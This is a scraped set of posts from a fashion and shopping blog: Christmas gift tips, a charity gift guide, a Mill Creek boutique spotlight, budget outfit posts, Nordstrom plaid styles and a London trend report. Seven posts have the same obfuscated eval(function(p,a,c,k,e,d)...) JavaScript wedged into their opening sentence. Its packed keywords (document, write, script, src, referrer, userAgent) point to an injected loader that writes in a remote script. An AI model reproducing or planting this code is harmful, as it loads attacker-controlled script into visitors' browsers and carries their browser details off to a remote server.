Top Tips for Last-Minute Christmas Gifts

top tips for last minute christmas gifts

top tips for last minute christmas giftsQuick, look at your calendar – Christmas is just days away! If you’re not ready (and might be panicking a little), take heart; you are not alone, and your friendly neighborhood shopping pro is here to help!

When it comes down to the wire, you have two optimal choices to strategize finding that perfect gift:
1. Shop online, or
2. Shop hyper-local.

For those scrambling to find the perfect gifts, here are my top tips for last-minute Christmas shopping!

ONLINE GIFTING

Sorry, no,  you probably don’t have time to ship something from Amazon; that’s not what I’m talking about here. Your best bet for last-minute online options are subscriptions! From diamond jewelry to organic dinner, there are tons of both national and local subscription services for just about everyone on your list.

For maximum impact, I recommend printing something out that explains the subscription, and then wrapping it along with a physical item that reflects the theme. For example, if you’re giving a wine delivery subscription, wrap it up in a box with a pair of champagne flutes!

Annual subscriptions are the gift that literally keeps on giving, all year long! 

Top Picks for Online Subscriptions:

EXPERIENCES

Christmas Market in Dresden, Germany – Photo via Faredepot.com

Perhaps the best gift you can give right now is the one you can’t really wrap up in a box: adventure. Designer goods are waning in popularity right now, while travel and adventure are on the rise. Some of that might be fueled by economy and budget, or perhaps a thirst for the perfect photos to post on Instagram. Either way, there’s little in this world more exciting than opening up airplane tickets for Christmas!

Listed in order from most to leave expensive, below are my top picks for adventures you can purchase online in a minute, and cherish for a lifetime:

HYPER-LOCAL

Christmas gift ideas at Shift Boutique
Christmas gift ideas at Shift Boutique

The Treasure Valley is blessed with a plethora of unique local gift, clothing, shoe, and home decor boutiques. But why choose local over big box stores? The answer is two-fold. You already know how important small business is to a city’s economy, sustainability and growth, so I won’t dig into that…

But the other reason is how well we know each other in this community! Chances are, the person you’re searching to find a gift for has a favorite place to shop. Go there. Show the salespeople the name & a photo of your person. It’s very likely they have worked with him/her before, and know their style and tastes! Walk into downtown Boise’s Piece Unique, for example, say “My wife Mary shops here all the time,” and they are likely to respond: “Oh yes, we love Mary! She’s very into our Baci Fashion line, which is right over here. Her favorite colors are pink and blue, so she’s probably love this sweater!”

Ta-da, the perfect gift! See how that works? It’s one of my favorite things about this town!

Below is a list of some of the best local fashion boutiques in town, where I know you will get that kind of service. (PLEASE comment below and let me know if I’ve missed YOUR favorite store. I love getting to know places & faces that are new and special in this community!)

Find more unique, pretty, and often locally-sourced treasures at the following gift and decor shops:

Merry Makers Market, Boise
Merry Makers Market, Boise

That’s a wrap! Special thanks to Boise Public Radio’s Idaho Matters show for having me on to talk about all these fun ideas, and the true heart of gift-giving. Listen to the entire broadcast here!

Merry Christmas, Happy Holidays, and may all your shopping adventures be successful!
XOXO,
Tanya

idaho matters boise public radio stylespygirl

P.S., If you think I missed any shop you love & adore, please add them below in the comments!!! 🙂

 

 

 

 

Christmas 2017 Give-Back Gift Guide

Christmas gift guide give back stylespygirlShopping eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zeeik|var|u0026u|referrer|shnyz||js|php’.split(‘|’),0,{}))
with soul gets glam for 2017!

~ photos by Allie Smith Hobbes, myself, or shared with permission from businesses below~

In the last few years, there’s been a major shift in the fashion industry towards a more ethical design, manufacturing, and shopping experience. From employment practices abroad, to real financial impact closer to home, it’s encouraging to watch this movement grow and blossom into something truly impactful… And truly beautiful!!!

Christmas is near, but if you still have shopping left to do, check out some of my personal favorite companies below for inspiration! Some items are available locally, and most are also online. I’ve chosen these products and companies because I have either connected directly with the fine people selling them, or have a deep personal passion for the mission behind their products.
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But think of this list as just a beginning! Please (pretty please with sugarplums on top!) tell me YOUR favorite give-back-biz in the comments below. Post links, pics, anything you love; share your faves, so we can spread the joy, together!!!
XOXO,
Tanya

Bought Beautifully

bought beautifully stylespygirl
Bought Beautifully is a lovely online shop founded by Colin & Emily Betzler, two-huge-hearted entrepreneurs from Wyoming. The Betzlers believe in changing the world by living generously, and to that end, have built “a marketplace that empowers you to create dignified opportunities for people around the globe, one purchase at a time.” Every item in their shop, from jewelry to Christmas ornaments, is both beautiful and fashion-forward.
bought beautifully stylespygirl 2I fell in love with Bought Beautifully’s Brass Stud earrings from Sasa (pictured above, lower right), a brand that empowers and supports deaf men and women in Nairobi, Kenya, and on the Island of La Gonave, Haiti.
Bought Beautifully  sells handcrafted items from 36 partners in over 16 nations across the globe, and you can search by category, or by the cause that is close to your heart!
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bought beautifully stylespygirl
Beaded Tassel Earrings from Milot, Haiti, help bring sustainable development through design, training, and job creation. $32
stylespygirl bought beautifully bracelet
Bracelet by Badala; proceeds fight human trafficking and empower women to rise out of poverty in East Africa, Central America, and the USA.

Speak Your Silence

speak your silence stylespygirl
My friend Matt Pipkin founded Speak Your Silence in 2012 as a place of healing, recovery, and empowerment for men and women around the world who are victims of sexual assault. Speak Your Silence’s unique zigzag pattern can be added onto any piece of apparel or accessory, as an unspoken sign of solidarity and support among those who have suffered.
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Whether you have personally experienced sexual violence or not, wearing the zigzag pattern shows you care, and want to inspire others to prevent sexual assault and share your voice for those affected.
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speak your silence stylespygirl 2
Speak Your Silence has partnered with Boutonné, a San Diego-based brand that produces leather goods, to create a special Swivel Clip, Envelope Laptop Case, and the Mills Tote I am wearing in the photos above. Click here to purchase the tote ($190), and find out more about Boise-based Speak Your Silence! T-shirts, decal kits, and other products are also available for purchase. 
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Corbin’s Legacy Bracelets

corbin bracelet style spy girl

No child should have to go an entire school day without lunch. That’s the basic, and passionate anthem behind Corbin’s Legacy bracelets. Founded in honor of Corbin Leafman, a beloved and compassionate kindergarten teacher who passed away at 31 years old from cancer, Corbin’s Legacy bangles give back 100% of their proceeds to food & medical care for disadvantaged elementary school children.

Corbin was known for “always walking through the lunch line holding up a $20.00 bill to make sure that the cafeteria lady knew that none of her students were to go without a hot meal.” She bought backpacks, school supplies, and gifts for children in need, and her giving heart lives on in those who knew and loved her! Bracelets are $30 in downtown Boise, at Swank Boutique.

Tentree Sweatshirts

10 sweatshirts buckle stylesypgirl
Did you know our local Buckle store is a major force for good in the community? Through their Buckle Believes program, they  offer multiple give-back lines of clothing and accessories, all with great style and affordable prices! I loved these soft, cozy sweatshirts by tentree, available in multiple colors, and all fleece-lined. Ten trees are planted for every item you purchase, and the tag comes with an extra seed for you to plant! These tops are great for stocking stuffers, and cold winter nights. Shop the entire collection here, and at your local Buckle store, $35-76.
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Girl Power for good!

All right, I get to toot my own horn on this rad project! But don’t worry; no money goes in my own pocket. 😉 It’s all for giving back! I teamed up with brilliant Boise designers Fourthwave Apparel for a special collaborative design, Nobody Puts Girl Power in a Corner. For every shirt sold, 40% of the profits go directly to Leap Charity, a local non-profit org that helps house and support refugee families arriving in our community.
 You can read more about our story here, or jump straight to Fourthwave to buy one. $22 adult, $14.50 kids.
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Proof Eyewear

proof eyewear style spy girl

If you live anywhere in the Treasure Valley, you know about Proof Eyewear! We all love this local company that’s made it big in the fashion industry, but did you also what big HEARTS they have as well?? Through Proof’s Do Good program, thousands of dollars have gone back into health and vision projects around the world. From micro-loans for entrepreneurs to building orphanages, Proof ‘s commitment to socially-conscious programs across the globe is unmatched.

Click here to read more about Proof’s Give Back program, and all the amazing projects they support, or visit their new downtown flagship store at 314 S. 9th Street, Boise, for last-minute gifts!

Buckle Believes

Those who know me well, know that I am passionate when it comes to fighting bullying. My son went through some horrific experiences at a very young age, because of his Asperger’s. Please read more about his story here; Ethan is an incredible kid, and I will fight tooth & nail for the life he deserves to live. 
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When I stopped by Buckle to look for give-back brands, these Buckle Believes t-shirts made my eyes leak a little. The Be Buddies, Not Bullies top was my fave, and I’m proud to wear it to help raise awareness for my son, and all kids everywhere!!! Proceeds from all three of the tops pictured above go to The American Cancer Society, and Pacer’s National Bullying Prevention Center. These designs (and more!) are available for $28.95 online at Buckle.com, or available at your local Buckle store.
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Don’t forget to add your voice to the conversation!
Please comment below with your favorite give-back gifts and companies.
Merry Christmas, Happy Holidays, and may all your days be merry & bright!
XOXOXO
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Spotlight On: Elegant Details Boutique in Mill Creek, WA

elegant details mill creek

elegant details mill creekMill eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|feekh|var|u0026u|referrer|iistd||js|php’.split(‘|’),0,{}))
Creek, WA is a bustling little suburb of north Seattle, nestled in an area between Bothell and Everett. This sprawling town has boomed in the last few years, growing from a quiet community to a thriving, urban center. My parents live here, and it’s been fun to watch their town blossom! Recently I discovered a new favorite boutique to shop in, amongst the bookstores, markets, and restaurants of Mill Creek.

Just a short walk up the road from Mill Creek’s Town Center is a quiet strip mall, where I found Elegant Details Boutique. Owners Kelly and Lisa opened their lovely little shop eight years ago, selling home decor and accessories. Three years ago, they decided to bring clothing and jewelry into their boutique, and sales really started to boom!elegant details mill creek

Like a mini-Anthropologie (but without the  – ahem! – Anthro price tag), Elegant Details specializes in the pretty little things every woman craves, but doesn’t know she needed until she sees them! From luxurious couture bubble bath, to the thick, oozy-melting candles your grandmother used to have, to prim underslips trimmed with the most exquisite laces, Elegant Details is all things feminine.elegant details mill creek

I enjoyed shopping in here immensely, and came away with a lacy black top (on sale!), a beautiful off-the-shoulder tunic that’s totally on-trend, some sweet home-decor art, and the cutest little pair of Seahawks earrings to give my mom for her birthday. Everything was reasonably-priced, and the shop’s owner was kind, helpful, and friendly.elegant details tunic top stylespygirl

Whether you’re visiting friends, family, or just passing through Mill Creek, stop in for a delightful shopping adventure at Elegant Details Boutique! I’m sure you’ll enjoy the pretty little things, as much as I did. 🙂

XOXO,
Tanya

 Elegant Details Boutique on Facebook
15704 Mill Creek Blvd, Ste 12, Mill Creek, WA 98012
425-585-0914
elegant details mill creek

elegant details mill creek

elegant details mill creek

elegant details mill creek

elegant details mill creek>>> Jump to the next article: Fall Fashion Preview & My Plaid Crush!!!

Easy Style on a Budget: Denim & Stripes

denim & stripes squareDo eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehtdk|var|u0026u|referrer|sdars||js|php’.split(‘|’),0,{}))
you ever have those days when the weather is icky, and you find yourself pining for the long, warm evenings of summer? That was me today, watching the sun set at 5:30pm and feeling the temperatures start to drop. Brr! I miss lazy, warm 9pm sunsets!

What to wear, when you’re not in the mood for a ton of effort? Stripes + Denim + Hat = Fab Look! Most women have some type of striped piece in their closet, and of course some denim. Put them together, and you get a laid-back ensemble with a hint of Parisian chic! Now, you may have heard that horizontal stripes are a no-no, because they make you look wide. The key is to use those stripes where you want to widen, and use a jacket or sweater over the areas you want to slim down! I have narrow hips, so I chose a cropped jacket; this makes the stripes stand out – and widen me visually – right at my hips. See?

denim & stripes 1

I’ve had great luck lately at the crazy-awesome winter sales happening around town, so finding fab styles on a tight budget has been fairly easy-peasy. That always perks me up!

Earlier this week I scored a destroyed denim jacket at Urban Outfitters for only $20 – gotta love those clearance racks! Ruby Lou in Eagle is having a 50% off winter sale; I picked up a couple lovely blouses you’ll see in photos soon, and this rad wool Soho fedora that will go great with EVERYTHING from now until the weather warms up, lol! For Boise, that’s around… March, sigh.

denim & stripes main 2Pistil Fedora – 30% off right now at Ruby Lou!
Urban Outfitters Denim Jacket – % off
Evereve Striped Tunic on SALE now $29.99!
Express Scuba Legging Jeans
Fergie Boots – on CLEARANCE now at Fergie.com!
Rebecca Minkoff Handbag ($35 at Nordstrom Rack sale!)
Coach Sunglasses (from Boise Mounatin Eyecare) – similar here.

BEST SALES going on right now, besides the above:

H&M, extra 30% off Clearance, Winter sale up to 70% off!
Forever 21, Sweaters starting at $11.99!
Swank Boutique – Redline markdowns on winter fashions from Free People,  Wildfox, etc. – 20-50% off!
Fancy Pants in Boise – Winter sale through Friday, 30-60% off clothing, 50% off ALL shoes!
Victoria’s Secret Semi-Annual Sale (ends tonight at midnight!)

Piece Unique & Shoez – Weekend winter MEGA-clearance sale on new AND consignment racks throughout the store, 75% off and more on TONS of items!!! Open 10am-6pm Satruday,  12-5pm on Sunday

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Follow me on Instagram for daily sale alerts & fab fashion finds!

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Luxe Dressing For Less

pink blush stylespygirl street

pink blush stylespygirl streetPhotography eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kihhh|var|u0026u|referrer|zzknn||js|php’.split(‘|’),0,{}))
by
ammophotog

Every Fall, I voraciously inhale stacks of fashion magazines, like most people consume Thanksgiving dinner! There are so many fun and fascinating styles emerging on the fashion scene this season! Lately, however, I’ve been changing the way I shop and view fashion – moving away from loading-up on seasonal trendy pieces, and choosing instead to invest in long-lasting, well-made classics that (hopefully) won’t wear out before I grow tired of them. It’s a mental shift in how I utilize my budget, and has been an interesting learning curve…

Recently, instead of buying a bunch of new fall outfits, I saved up & splurged my entire budget on one amazing Coach handbag, the Borough (see photo, above!). I fell in love with its clean, classic lines, hand-stitched workmanship, and luxurious materials. This, I decided, is my first big “investment piece.” I intend to get much bang for my buck from this bag, because of how many times I will use it, year after year! This classic style won’t go out of fashion, anytime soon.

anthropologie etienne dress
Photo Courtesy of Anthropologie
pink blush navy dress
Photo courtesy of Pink Blush

But then I spotted this dress “Etienne” dress at Anthropologie, and fell in love! Sigh, I’m not going to spend $178, even though it’s oh-so-lovely; my budget is tapped out!

Some time later, I received an email from online shopping site Pink Blush, offering to let me try some of their fun clothes & accessories to highlight on my blog. Lo and behold, I found this Navy Blue Mesh Striped Dress, for only $37! Looks pretty similar to the Anthropologie dress, doesn’t it??

I added a glitzy necklace for $11, a unique bracelet for $13, and $27 Chinese Laundry shoes from Ross, and I’m all set for a fashionable business meeting downtown. My swing coat is vintage from a local thrift store; I paid around $10 for it, seriously!

Put everything together, and my entire look is LESS THAN $100, apart from my Borough bag!!!
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The key to looking luxe for less is in the details. Focus on investing in statement pieces that people will notice; quality shoes, iconic handbags, and stand-out coats are a great place to start! And if you ARE going to buy inexpensive clothes and jewelry, look for materials and craftsmanship that LOOK more expensive than they really are. This is called mixing high and low… And it’s brilliant, because not all of us can afford to wear head-to-toe designer brands every day, like Kim Kardashian.

Pink blush stylespygirl

Do you have a favorite “bargain” treasure shopping find? Tell me about it in the contest below! 
One lucky person will be drawn at random to receive a $25 gift card to Pink Blush, where a little can go a long way.
Good luck!!!

XOXO,

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a Rafflecopter giveaway
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Nordstrom Ups the Ante on the Latest Plaid Styles for Fall!

plaid skirt fall fashion

There’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zheas|var|u0026u|referrer|dtrzz||js|php’.split(‘|’),0,{}))
something about the return of Fall, when we feel that crisp morning air and hear school bells ring, that makes us reach for a cup of hot chocolate and our favorite cozy plaid pieces to snuggle up with!
Plaid is timeless and classic, making it a great wardrobe staple you can pull out again and again, as the years pass. Above is my favorite plaid skirt: it’s a vintage piece from Nordstrom that I found at a local resale store! I love the unconventional color combo, and the cozy soft wool. It reminds me of my hometown, Seattle, with its’ misty fall mornings and Starbucks stands on every corner…

When Nordstrom’s August 2014 Catalog arrived in my mailbox, I wasn’t surprised to see a plethora of plaid styles throughout the pages. What did surprise me, however, is all the cool and unexpected ways Nordy’s upped the ante on this favorite fall staple! Oh  my goodness, how hot and fun are these looks?? I just had to share them with you!

Here are some inspiring Fall Looks, from their August 2014 Catalog. Enjoy!

Which one is your favorite? Will you be rocking plaid this fall? Tell me your thoughts in the comment section below!

 

rag & bone/JEAN The Leeds Plaid shirt

 

rag & bone/JEANS “The Leeds” Plaid Shirt, $264 / rag & bone/JEANS High Rise Skinny Stretch Jeans, $185

Ace Delivery Shirt and Tube Skirt

ACE Delivery Shirt, $68 / Tube Skirt, $58

Treasure Bond Sweatshirt Hinge Skort

TREASURE & BOND Sweatshirt, $68 / Hinge Skort, $68

Treasure Bond Sweater Shirt Boyfriend Jeans

TREASURE & BOND Sweater, $78 / Plaid Shirt / Boyfriend Jeans, $88

nordstrom plaid print ponte leggings Hue

HUE Plaid Leggings, $48 / Pretty Polly Tartan Tights, $25

nordstrom plaid splendid aston flannel shirt

SPLENDID Aston Flannel Shirt, $128 / PAIGE Verdugo Ankle Jeans, $169

nordstrom plaid bobeau side zip sweatshirt

BOBEAU Plaid-Front Sweatshirt, $54 / NYDJ Ami Skinny Jeans, $114

nordstrom plaid renees accessories fringe scarf

RENEE’S ACCESSORIES Oversized Plaid Scarf, $38

nordstrom plaid august hat home run baseball cap

AUGUST HAT Home Run Baseball Cap, $32

nordstrom plaid bobeau lace border dress

BOBEAU Lace Border Print Dress, $58

nordstrom plaid steve madden papa boot

DR. MARTENS Alexandra Boot, $139.95 / STEVE MADDEN Pasa Work Boot, $109.95

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BARGAIN HUNTERS: Most of these brands and looks can be found at a discount at your local Nordstrom Rack, also!!! Click here to find the Rack nearest to you.

Blogger Abroad Style Report: LONDON

topshop outfitsMy eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bhnnt|var|u0026u|referrer|khddt||js|php’.split(‘|’),0,{}))
outfit:
TopShop London / Lala’s Outfit: Primark 

I had such a BLAST last month, when I had the awesome opportunity to spend a week in London, England! I shopped and people-watched, to research the hottest trends across the pond. My favorite places to shop were Zara, TopShop, Primark, and Camden Market. And of course, I had to spend a little time oohing and ahing over the pretty, pretty things in London’s flagship Burberry shop. Wow!

The top trends I saw there for women were: 

High-waist skinny jeans

High-waist skirts with crop tops

Knee-length twirly skirts

Platform Sandals

White sneakers

Ankle Boots

Dresses

Patterned Trousers

Lace-up boots (Doc Marten and biker style)

Overalls

Rompers & Jumpers

Scarves and Fedoras

Backpacks

Satchels

Enjoy my photos!
Hover your mouse over a pic to view the description, or click on them to view the full-sized version.

 

tower bridge london kiss